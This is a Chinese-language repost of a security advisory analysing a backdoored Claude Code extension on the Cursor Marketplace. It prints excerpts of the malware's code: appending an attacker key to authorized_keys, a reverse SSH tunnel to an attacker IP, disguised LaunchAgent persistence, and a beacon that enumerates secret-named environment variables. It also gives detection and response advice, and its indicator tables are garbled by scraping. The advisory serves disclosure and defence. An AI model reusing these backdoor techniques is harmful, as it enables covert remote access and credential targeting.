Backdoor in Claude Code for VS Code extension on the Cursor Marketplace
TL;DR · AI 摘要
Official Claude Code Extension Compromise: Security Advisory Phorion October 30, 2026 By Calum Hall Official Claude Code...
核心要点
- 主题聚焦:Backdoor in Claude Code for VS Code extension on
- 来源:Hacker News Best,建议结合原文判断细节。
- AI 分析暂不可用,本条为保底评分与摘要。
官方 Claude Code 扩展程序被入侵:安全通告 | Phorion
2026年10月30日
作者:
Calum Hall
官方 Claude Code 扩展程序被入侵:安全通告
SSH 后门
Cursor 市场
VS Code
macOS
Linux
Windows
威胁报告
TL;DR
Phorion 在 Cursor 市场的官方 Claude Code for VS Code 扩展程序包中检测到一个后门,该后门会在 macOS、Linux 和 Windows 系统上植入持久化的 SSH 后门。本文重点分析 macOS 平台,该扩展程序尝试配置 SSH 后门并建立持久化连接。
组织应立即检查其环境是否使用了 Claude Code for VSCode 2.1.313 版本,若发现使用该扩展程序,应立即启动事件响应流程。
Phorion 发现 Cursor 市场上的官方 Claude Code for VS Code 扩展程序已被入侵,被入侵的扩展程序包包含一个持久化的 Secure Shell (SSH) 后门。Cursor 已从其市场移除了相关版本,并从 NPM 和 VSCode 的相关注册表中删除了 2.1.313 版本的扩展程序。
尽管植入程序包含了 macOS、Linux 和 Windows 的安装及持久化逻辑,但本文将重点分析 macOS 平台,并在分析过程中指出其他平台的关键差异及部分实现缺陷。
Cursor 市场为 Cursor 编辑器提供扩展程序。由于扩展程序以 IDE 及运行用户的权限执行,被入侵的扩展程序在模块加载时即可立即访问本地文件、源代码和开发工具。
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时存在一个可能的疏漏。安装逻辑假设可以在没有 root 权限的情况下检查当前远程登录状态。当以普通用户身份运行时,systemsetup -getremotelogin 命令会返回管理员访问错误并以状态 0 退出,而非返回 Off。由于脚本仅在输出匹配 Off 时尝试启用 SSH,因此完全跳过了启用步骤。对于尚未运行 SSH 的 Mac 系统,这一错误会破坏入站访问路径,尽管 SSH 密钥和持久化组件仍会被植入。
本文将逐步分析后门的工作原理、macOS 检查失败的原因,以及在您的设备集群中应关注的特征。该有效载荷的目标是实现长期交互式访问,尽管 macOS 上的 SSH 后门漏洞会降低影响,但该恶意软件仍是一个重大威胁,能够安装持久化组件并向操作员发送主机侦察信息。
感染链
Cursor 市场扩展程序
被入侵的 extension.js 文件以一个注入的立即调用函数表达式 (IIFE) 开头,该表达式被添加到压缩的扩展程序包开头。其余部分看起来像标准扩展程序,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。
注入的前缀引入了标准的 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展程序的正常 activate 回调运行之前。用户无需与扩展程序交互,有效载荷即可触发。
密钥使用了注释 svc-telemetry。在追加之前,脚本会检查文件中是否已存在 svc-telemetry,而不是直接检查密钥本身。在追踪此类活动时,建议检查公钥指纹而非仅依赖注释字符串。
var
sd
=
path.join(HOME,
".ssh"
),
ak
=
path.join(sd,
"authorized_keys"
);
// ...
if
(cur.indexOf(
"svc-telemetry"
)
<
0
) {
fs.appendFileSync(ak, PUB
+
"\n"
);
d.sshKey
=
"added"
}
else
{
d.sshKey
=
"present"
}此处 cur 保存着 authorized_keys 文件的现有内容,PUB 是嵌入的攻击者公钥(此处已脱敏)。
密钥就位后,任何持有对应私钥的人都可以认证为该用户,前提是 SSH 实际正在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并处于监听状态:
- Linux:尝试通过 systemctl 启用并启动 sshd 或 ssh,若失败则回退到 service 和 /etc/init.d/。
- macOS:检查远程登录设置,若显示为 Off 则通过 sudo -n systemsetup -setremotelogin on 启用。
- Windows:尝试通过 PowerShell 安装并启动 OpenSSH 服务器。
这些步骤均不包含提权漏洞。非交互式 sudo -n 除非用户已配置无密码提权,否则会失败,因此从标准用户上下文启动系统服务未必总能成功。
Windows 代码路径似乎也存在自身问题:它通过一个辅助函数(det())传递 PowerShell 服务设置命令,而该函数硬编码了 /bin/sh,这在标准 Windows 安装上无法正常执行。
macOS SSH 逻辑是否存在漏洞?
在 macOS 上,设置过程甚至在到达 sudo 命令前就可能遇到问题。脚本以普通权限运行 systemsetup -getremotelogin 并将输出与 /Off/i 进行匹配测试。只有当输出包含 Off 时才会尝试启用远程登录:
// ...
else
if
(PLAT
===
"darwin"
) {
var
rl
=
ex(
"systemsetup -getremotelogin 2>/dev/null"
,
4000
);
d.remoteLogin
=
rl;
if
(
/Off/i
.test(rl)) {
det(
"sudo -n systemsetup -setremotelogin on >/dev/null 2>&1"
);
d.remoteLoginOn
=
"tried"
}
}注意第二个命令(-setremotelogin on)使用了 sudo -n,而第一个命令(-getremotelogin)未使用。当在 macOS 上以普通用户运行 systemsetup -getremotelogin 时,实际会返回:
You need administrator access to run this tool... exiting!systemsetup 在没有管理员权限时拒绝读取设置,会将错误信息输出到 stdout 并以状态 0 退出。恶意软件的 ex() 辅助函数会捕获 stdout 并返回:
function
ex(c, t) {
try
{
return
cp.execSync(c, {
timeout
:
t
||
3000
,
stdio
:
[
"ignore"
,
"pipe"
,
"ignore"
],
windowsHide
:
true
}).toString().trim()
}
catch
(e) {
return
""
}
}由于输出为 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的判断结果为 false。因此脚本会跳过 if 代码块,永远不会执行 sudo -n systemsetup -setremotelogin on。这实际上将“我没有权限检查 SSH 是否关闭”视为“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,进程监控中不会看到启用尝试。
此漏洞可能破坏访问链的最后一步。如果 Mac 上尚未启用远程登录,出站隧道仍可连接到攻击者的服务器,但任何通过隧道转发回的流量都会遇到本地主机上关闭的端口 22。
当然,这并不是一种可靠的防御手段。如果用户已经启用了远程登录,或之后启用,后门就会随时待命。
阶段 2 - 建立反向 SSH 隧道
接下来,脚本会连接到 134.209.82[.]225 的 22 端口,作为隧道用户建立出站 SSH 连接。为了认证到攻击者的服务器,它会解码一个嵌入的私钥:一个未加密的 OpenSSH Ed25519 私钥,注释为 svc-telemetry-tun。
在调查过程中,区分这两把密钥非常重要:
- 添加到 ~/.ssh/authorized_keys 的公钥(svc-telemetry)允许攻击者登录受害者的机器。
- 嵌入的私钥(svc-telemetry-tun)允许受害者的机器通过隧道连接到攻击者的隧道服务器。
脚本会将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后接主机名和主目录路径的 MD5 哈希值前 10 个字符:
var
kf
=
path.join(
TMP,
".stk_"
+
crypto.createHash(
"md5"
)
.update(
String
(os.hostname())
+
HOME).digest(
"hex"
).slice(
0
,
10
)
);
// ...
var
RF
=
(PLAT
===
"win32"
)
?
"\"*:0:localhost:22\""
:
"'*:0:localhost:22'"
;隧道使用 -R *:0:localhost:22 进行远程端口转发。传递 0 参数会要求攻击者的 SSH 服务器动态分配一个监听端口,并将任何到达该端口的流量通过隧道转发回受害者机器的本地主机 22 端口:
受影响主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器
操作员 -- 独立连接 --> 服务器分配的端口
|
通过现有隧道
|
v
受影响主机的 SSH:22
|
使用植入的密钥登录由于隧道使用 -N 参数运行,它仅保持端口转发开启,而不会在远程服务器上执行命令。当操作员需要访问机器时,他们会通过服务器上分配的端口启动独立的 SSH 会话,使用阶段 1 植入的密钥认证受害者的本地 SSH 守护进程。这使他们能够获得完整的交互式 shell 和文件传输能力,而无需 JavaScript 本身处理任何自定义的 C2 命令。
SSH 命令还传递了一些标志以保持连接静默且非交互:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,将保持活动时间设置为 30 秒(ServerAliveCountMax=3),并启用 ExitOnForwardFailure。
如果安装了 autossh,脚本会使用它;否则会回退到标准的 ssh。它将连接包装在一个分离的重试循环中,每次尝试之间休眠 60 秒,并在 Unix 系统上使用 pgrep 避免启动重复的初始隧道。由于循环是分离的,即使用户关闭了 IDE,隧道仍会保持运行。
阶段 3 - 保持访问可用
为了在重启后存活,脚本会与初始分离的隧道一起设置平台特定的持久化机制:
平台
工件
持久化机制
备注
~/.config/.smt,
~/.config/.smtk写入一个 shell 脚本,重新创建隧道密钥并循环 SSH 连接,然后向用户的 crontab 添加一个
@reboot条目。
包含一个在 crontab 检查中的漏洞,可能在重复运行时删除现有用户的 cron 任务(详见下文)。
~/Library/LaunchAgents/com.apple.sysmond.plist创建一个用户 LaunchAgent,运行以下内容:
/bin/sh ~/.config/.smt并设置以下参数:
RunAtLoad和
KeepAlive为
true,然后通过
launchctl加载该代理。
该脚本以用户上下文运行,而不是作为 root 的 LaunchDaemon。
~/.config/smt.cmd~/.config/smtk%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd尝试创建一个名为
SysMon的计划任务,在启动时以
SYSTEM身份运行。如果失败,会将
sysmon.cmd放入用户的启动文件夹。
创建计划任务需要管理员权限;启动文件夹的备用方案会在用户登录时以用户身份运行。
在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌了隧道私钥,并在启动重新连接循环前将其写入 ~/.config/.smtk。
在 macOS 上,LaunchAgent 伪装成 ~/Library/LaunchAgents/ 中的 com.apple.sysmond.plist:
<key>
Label
</key>
<string>
com.apple.sysmond
</string>
<!-- ... -->
<key>
RunAtLoad
</key>
<true/>
<key>
KeepAlive
</key>
<true/>第 4 阶段 - 主机侦察
最后,脚本收集基础主机信息,并向攻击者服务器发送一次性的信标:
- 主机名、用户名、操作系统平台和架构
- 家目录、当前工作目录和全局 Git 邮件(git config --global user.email)
- 公共 IP 地址和每个设置阶段的状态标志(例如 SSH 密钥是否已添加,使用了哪种持久化方法)
- 最多 40 个匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/ 的环境变量名(不包含值)
环境变量检查使用 Object.keys(process.env):
Object
.keys(process.env)
.filter(
function
(k) {
return
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i
.test(k)
})
.slice(
0
,
40
)由于只抓取变量名,信标本身不会泄露密钥的实际值。相反,它为操作员提供一个快速清单,列出机器上存在哪些云凭证或 API 令牌,以便他们知道优先处理哪些主机。
为了获取机器的公共 IP,脚本会查询 ifconfig[.]me,如果失败则回退到 api[.]ipify[.]org。
然后通过明文 HTTP POST 请求将 JSON 报告发送到 134.209.82[.]225:8099 和 127.0.0.1:8099 的 /beacon 接口:
var
r
=
http.request({
host
:
h,
port
:
p,
path
:
"/beacon"
,
method
:
"POST"
,
timeout
:
3000
,
headers
:
{
"content-type"
:
"application/json"
}
},
function
(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()为什么样本中还会将信标副本发送到 127.0.0.1:8099 并不清楚;脚本本身并未在该端口设置本地监听器。
信标仅通过 setTimeout 安排一次(初始设置运行 1.5 秒后),并使用 res.resume() 忽略任何 HTTP 响应。它纯粹是一个检查,让操作员知道主机已准备就绪,而 SSH 隧道则处理实际访问。
检测机会
从检测角度来看,使用 Endpoint Security Framework (ESF) 遥测数据时,macOS 上此链中的多个行为特征尤为突出。
SSH 密钥和配置更改
由于恶意软件直接使用 Node 的 fs.appendFileSync 将内容追加到 ~/.ssh/authorized_keys,仅监控 shell 命令(如 echo 或 tee)修改 authorized_keys 的进程规则无法检测到这种行为。此时文件修改监控(telemetry)变得至关重要:需要监控 IDE 辅助进程(Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys 的行为。
尽管 IDE 本身的二进制文件具有有效签名,但其扩展宿主进程在后台修改 SSH 认证文件的行为是不合理的。
虽然你也应该监控 systemsetup -setremotelogin on 命令,但不要将其作为触发告警的必要条件。如上所述,macOS 的状态检查机制存在缺陷,导致该命令经常无法执行。
用户 LaunchAgent 持久化机制
macOS 上的持久化设置为我们提供了几个明确信号:
- 非 Apple 进程写入带有 com.apple.* 标签的 plist 文件(~/Library/LaunchAgents/com.apple.sysmond.plist)。
- 配置了 LaunchAgent 以执行 /bin/sh,目标是用户主目录中的隐藏脚本(~/.config/.smt)。
由于初始隧道以分离进程方式启动,随后 launchd 直接管理 .smt 文件,后续的 ssh 进程在实时进程树中不会将 IDE 作为直接父进程。将 .smt 文件和 com.apple.sysmond.plist 的创建行为与 IDE 扩展宿主进程关联,能更轻松地还原攻击链。
SSH 隧道与后续访问
在进程和网络层面,需关注以下特征:
- 使用远程端口转发(-R *:0:localhost:22)启动 ssh 或 autossh,并从 /tmp/.stk_* 或 ~/.config/.smtk 拉取身份文件。
- 向 134.209.82[.]225 的 22 端口发起出站 SSH 连接,同时向 134.209.82[.]225:8099 发送 HTTP POST 请求(或尝试连接 127.0.0.1:8099)。
如果发现某台主机运行过该扩展,需要确认隧道是否仅被建立,还是有攻击者实际通过隧道登录。由于入站会话通过本地端口转发到达,SSH 日志中成功的登录会显示为来自 localhost(127.0.0.1 或 ::1),并使用 svc-telemetry 密钥进行身份验证。
响应措施
如果确认主机受感染,仅卸载扩展无法彻底清除后门。确保响应方案覆盖所有攻击阶段:
- 终止活动隧道进程:结束 /bin/sh 重试循环,以及所有连接到 134.209.82[.]225 的 ssh 或 autossh 进程。
- 清除持久化机制:在 macOS 上卸载并删除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux/SysMon 上清理 @reboot cron 任务,在 Windows 上清理启动脚本),并删除 ~/.config/.smt 和 ~/.config/.smtk。
- 清理 SSH 密钥和状态:从 ~/.ssh/authorized_keys 移除 svc-telemetry 公钥,删除 /tmp/.stk_*,并验证 Remote Login(SSH)是否被异常启用。
- 重置凭证:如果主机启用了 SSH,或存在入站登录证据,重置该用户账户可访问的所有凭证或令牌(特别是匹配 KEY|TOKEN|SECRET|PASS|AWS|GCP 环境变量过滤器的项)。
Phorion 的检测方案
Phorion 的开箱即用检测规则已覆盖该攻击中使用的 macOS 持久化机制,包括非 Apple 进程创建 com.apple.* LaunchAgent,以及 LaunchAgent 执行隐藏目录中 shell 脚本等多条规则。
除了持久化机制之外,Phorion 的文件访问遥测功能能够捕获 IDE 扩展主机直接修改 ~/.ssh/authorized_keys 的行为,Phorion Protections 可用于锁定 ~/.ssh 目录,使只有授权进程才能读取或修改 SSH 密钥和配置文件。
如果想了解 Phorion 如何在您的 Mac 设备上检测并阻止此类供应链威胁,欢迎联系我们安排演示。
指标
样本和公钥指纹
| 指标 | 值 | |------|----| | SHA-256 | ``` ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
| 后门文件 | ```
extension.js| 包 | | | 受害者登录公钥指纹 | ``` SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
| 附加到的文件 | ```
~/.ssh/authorized_keys| (注释 | ``` svc-telemetry
| ) | |
| 隧道公钥指纹 | ```
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ| 嵌入的 Ed25519 密钥用于认证到隧道服务器 (注释 | ``` svc-telemetry-tun
### 网络指标
| 类型 | ```
134.209.82[.]225|------|----| | (TCP | ``` 22
| , 用户 | ```
tunnel| IP / SSH | | | 出站反向 SSH 隧道服务器 | ``` 134.209.82[.]225:8099
| ( ```
POST /beacon| IP / HTTP | | | 外部主机报告信标端点 | ``` 127.0.0.1:8099
| 环回 / HTTP | |
| 本地信标目标 | ```
ifconfig[.]me| ``` api[.]ipify[.]org
| 域名 | |
| 用于公共 IP 发现的合法服务 | |
### 主机工件
| 工件 | ```
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64|------|----| | macOS (Apple Silicon) | | | 安装的扩展目录 ( ``` <ide>
| 根据编辑器不同而变化) | |
| 所有 | |
| 植入的 Ed25519 公钥 | ```
<TMP>/.stk_<10 hex chars>| ``` $TMPDIR/.stk_*
| (在 macOS 上) | |
| 操作系统临时目录中的初始隧道私钥 (后缀为 ```
MD5(hostname + HOME)| 的前 10 个十六进制字符) | | | macOS, Linux | | | 持久化 shell 脚本和重新创建的隧道私钥 | | | 用户 LaunchAgent 执行 | | | cron 任务条目 | | | 用户 crontab 持久化 | | | 持久化批处理脚本和隧道私钥 | | | 计划任务 | | | 启动计划任务 (请求 | | | 启动文件夹回退脚本 | /